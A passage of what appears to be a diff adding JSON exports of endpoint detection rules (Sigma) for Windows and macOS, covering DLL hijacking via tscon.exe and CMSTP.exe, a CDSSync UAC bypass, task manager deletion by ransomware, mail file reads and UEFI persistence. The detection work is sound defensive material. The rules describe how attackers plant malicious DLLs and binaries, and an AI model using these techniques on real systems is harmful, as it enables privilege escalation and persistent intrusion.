exclusion_shell32_explorer_restart:\n        ParentCommandLine: '?:\\windows\\system32\\rundll32.exe shell32.dll,WaitForExplorerRestart ?:\\windows\\Explorer.EXE'\n\n    # https://github.com/valinet/ExplorerPatcher/\n    exclusion_explorer_patcher:\n        ParentCommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\dxgi.dll,ZZGUI'\n            - '?:\\windows\\system32\\rundll32.exe ?:\\Program Files\\ExplorerPatcher\\ep_gui.dll,ZZGUI'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files\\ExplorerPatcher\\ExplorerPatcher.amd64.dll,ZZGUI'\n\n    exclusion_bluefiles:\n        ParentCommandLine:\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc * BlueFilesSuite!BlueFilesSuite.CustomActions.RestartExplorerForce'\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc * BlueFilesSuite!BlueFilesSuite.CustomActions.RestartExplorer'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f51648fc-2289-43b4-8b39-c0e753db40cc",
+  "rule_name": "Potential Sacrificial explorer.exe Spawned",
+  "rule_description": "Detects a suspicious explorer.exe spawned from rundll32 without arguments that can be used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to check for malicious activities by the process and its parents.\n",
+  "rule_creation_date": "2021-02-18",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5187b7a-1e48-4774-9102-ac47595f76e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096859Z",
+  "creation_date": "2026-03-23T11:45:34.096861Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096866Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tscon.yml",
+  "content": "title: DLL Hijacking via tscon.exe\nid: f5187b7a-1e48-4774-9102-ac47595f76e1\ndescription: |\n    Detects potential Windows DLL Hijacking via tscon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tscon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5187b7a-1e48-4774-9102-ac47595f76e1",
+  "rule_name": "DLL Hijacking via tscon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tscon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5691ac0-1613-4e00-860a-41f81c382d80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095865Z",
+  "creation_date": "2026-03-23T11:45:34.095867Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095884Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cmstp.yml",
+  "content": "title: DLL Hijacking via CMSTP.exe\nid: f5691ac0-1613-4e00-860a-41f81c382d80\ndescription: |\n    Detects potential Windows DLL Hijacking via CMSTP.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CMSTP.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cmutil.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5691ac0-1613-4e00-860a-41f81c382d80",
+  "rule_name": "DLL Hijacking via CMSTP.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CMSTP.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f57033a5-742d-4552-a746-f6d5dfc7bbae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073882Z",
+  "creation_date": "2026-03-23T11:45:34.073886Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073893Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/AzAgarampur/byeintegrity5-uac",
+    "https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_cdssync.yml",
+  "content": "title: CDSSync UAC Bypass Prepared\nid: f57033a5-742d-4552-a746-f6d5dfc7bbae\ndescription: |\n    Detects the preparation of the CDSSync scheduled task UAC bypass.\n    Attackers can manipulate the Windows environment variables registry key to redirect the normal execution flow of the CDSSync scheduled task to load a malicious DLL.\n    When the CDSSync scheduled task is run, taskhostw.exe will try to load npmproxy.dll from the %windir%\\\\System32 folder.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the DLL file creation as well as to investigate the DLL file itself to determine its legitimacy.\nreferences:\n    - https://github.com/AzAgarampur/byeintegrity5-uac\n    - https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies\ndate: 2020/11/27\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.execution\n    - attack.t1053\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith:\n            - '\\system32\\npmproxy.dll'\n            - '\\syswow64\\npmproxy.dll'\n\n    filter_standard_locations:\n        # Don't consider creation of 'npmproxy.dll' at standard locations as malicious.\n        # If it ends up being malicious, we will catch it at execution.\n        Path:\n            - '?:\\windows\\system32\\npmproxy.dll'\n            - '?:\\windows\\syswow64\\npmproxy.dll'\n                # Other odd locations seen:\n                # D:\\PC XXXXX 2021-01-29\\Windows\\SysWow64\\npmproxy.dll\n                # I:\\OLD_Drive_C\\Windows\\SysWow64\\npmproxy.dll / system32\\npmproxy.dll\n                # c:\\tmptsang\\toto\\instal\\windows\\syswow64\\... (ecrit par un 7zG via extraction...)\n            - '*\\windows\\system32\\npmproxy.dll'\n            - '*\\windows\\syswow64\\npmproxy.dll'\n\n    exclusion_dllhost:\n        Image|endswith:\n            - '\\windows\\system32\\dllhost.exe'\n            - '\\windows\\syswow64\\dllhost.exe'\n\n    exclusion_docker:\n        ProcessImage: '?:\\Program Files\\Docker\\Docker\\resources\\dockerd.exe'\n        ProcessSignature: 'Docker Inc'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f57033a5-742d-4552-a746-f6d5dfc7bbae",
+  "rule_name": "CDSSync UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of the CDSSync scheduled task UAC bypass.\nAttackers can manipulate the Windows environment variables registry key to redirect the normal execution flow of the CDSSync scheduled task to load a malicious DLL.\nWhen the CDSSync scheduled task is run, taskhostw.exe will try to load npmproxy.dll from the %windir%\\\\System32 folder.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the DLL file creation as well as to investigate the DLL file itself to determine its legitimacy.\n",
+  "rule_creation_date": "2020-11-27",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f589e603-b094-4be7-a1be-4500e4d6e42a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085624Z",
+  "creation_date": "2026-03-23T11:45:34.085626Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085630Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/blackbyte-ransomware/",
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_taskmgr_deletion.yml",
+  "content": "title: Task Manager Binary Deleted\nid: f589e603-b094-4be7-a1be-4500e4d6e42a\ndescription: |\n    Detects the suspicious removal of the task manager binary (taskmgr.exe).\n    Before encrypting a system, ransomwares may remove tools that could enable users to kill the running ransomware.\n    This behavior is, as of March 2024, used by main payload of the Blackbyte ransomware group.\n    It is recommended to analyze the process that deleted taskmgr.exe and look for ransomware-related activities.\nreferences:\n    - https://redcanary.com/blog/blackbyte-ransomware/\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2024/03/14\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1490\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: filesystem_remove\n    product: windows\ndetection:\n    selection:\n        Path:\n            - '?:\\Windows\\System32\\Taskmgr.exe'\n            - '?:\\Windows\\SysWoW64\\Taskmgr.exe'\n        ProcessParentImage|contains: '?'\n\n    exclusion_update:\n        Image: '?:\\Windows\\System32\\poqexec.exe'\n\n    exclusion_tiworker:\n        Image: '?:\\Windows\\WinSxS\\\\*\\TiWorker.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f589e603-b094-4be7-a1be-4500e4d6e42a",
+  "rule_name": "Task Manager Binary Deleted",
+  "rule_description": "Detects the suspicious removal of the task manager binary (taskmgr.exe).\nBefore encrypting a system, ransomwares may remove tools that could enable users to kill the running ransomware.\nThis behavior is, as of March 2024, used by main payload of the Blackbyte ransomware group.\nIt is recommended to analyze the process that deleted taskmgr.exe and look for ransomware-related activities.\n",
+  "rule_creation_date": "2024-03-14",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f59595f0-0de1-496d-b2d1-effe504cb815",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618469Z",
+  "creation_date": "2026-03-23T11:45:34.618471Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618475Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1005/",
+    "https://attack.mitre.org/techniques/T1114/001/"
+  ],
+  "name": "t1114_001_read_mail.yml",
+  "content": "title: Suspicious Read Access to Mail Files\nid: f59595f0-0de1-496d-b2d1-effe504cb815\ndescription: |\n    Detects a process reading sensitive files related to the Mail application.\n    Adversaries may target the user's mail on local systems to collect sensitive information.\n    It is recommended to check whether the process that accessed the file had legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1005/\n    - https://attack.mitre.org/techniques/T1114/001/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - attack.t1114.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        # /Users/<username>/Library/Mail/V10/MailData/Envelope Index\n        Path|startswith: '/Users/*/Library/Mail/*/MailData/Envelope Index'\n        ProcessImage|contains: '?'\n\n    filter_mail:\n        Image:\n            - '/System/Library/PrivateFrameworks/EmailDaemon.framework/Versions/A/maild'\n            - '/System/Applications/Mail.app/*'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_backup:\n        Image:\n            - '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n            - '/Library/Oxibox/oxibackupd'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_mailbutler:\n        Image: '/Users/*/Library/Application Support/com.mailbutler.agent/Mailbutler.app/Contents/MacOS/Mailbutler Agent'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_norton:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.norton.mes.endpointsecurity'\n\n    exclusion_kaspersky:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.kaspersky.kav.kavd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'com.macpaw.CleanMyMac*'\n            - 'com.macpaw.cmm-business'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f59595f0-0de1-496d-b2d1-effe504cb815",
+  "rule_name": "Suspicious Read Access to Mail Files",
+  "rule_description": "Detects a process reading sensitive files related to the Mail application.\nAdversaries may target the user's mail on local systems to collect sensitive information.\nIt is recommended to check whether the process that accessed the file had legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1114.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f59b1f82-7a09-4afd-a2f8-492bf5e994d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076251Z",
+  "creation_date": "2026-03-23T11:45:34.076253Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076257Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/wpbbin.html",
+    "https://attack.mitre.org/techniques/T1542/001/"
+  ],
+  "name": "t1542_001_registry_change_allowing_uefi_persistance.yml",
+  "content": "title: Registry Configuration Allowing UEFI Persistence Changed\nid: f59b1f82-7a09-4afd-a2f8-492bf5e994d7\ndescription: |\n    Detects a dangerous modification or a deletion of the DisableWpbtExecution key in the registry.\n    When DisableWpbtExecution is 0 or deleted, it allows the execution of wpbbin.exe, a file placed by the BIOS in System32 and executed by smss.exe during OS startup.\n    Attackers can use this feature as a persistence mechanism by putting a malicious wpbbin.exe that will be executed at the next startup.\n    It is recommended to investigate the execution context of the detected process, other surrounding detections, as well as the file telemetry looking for a written file at \"C:\\Windows\\system32\\wpbbin.exe\" to determine if this action was legitimate.\nreferences:\n    - https://persistence-info.github.io/Data/wpbbin.html\n    - https://attack.mitre.org/techniques/T1542/001/\ndate: 2022/07/20\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1542.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: 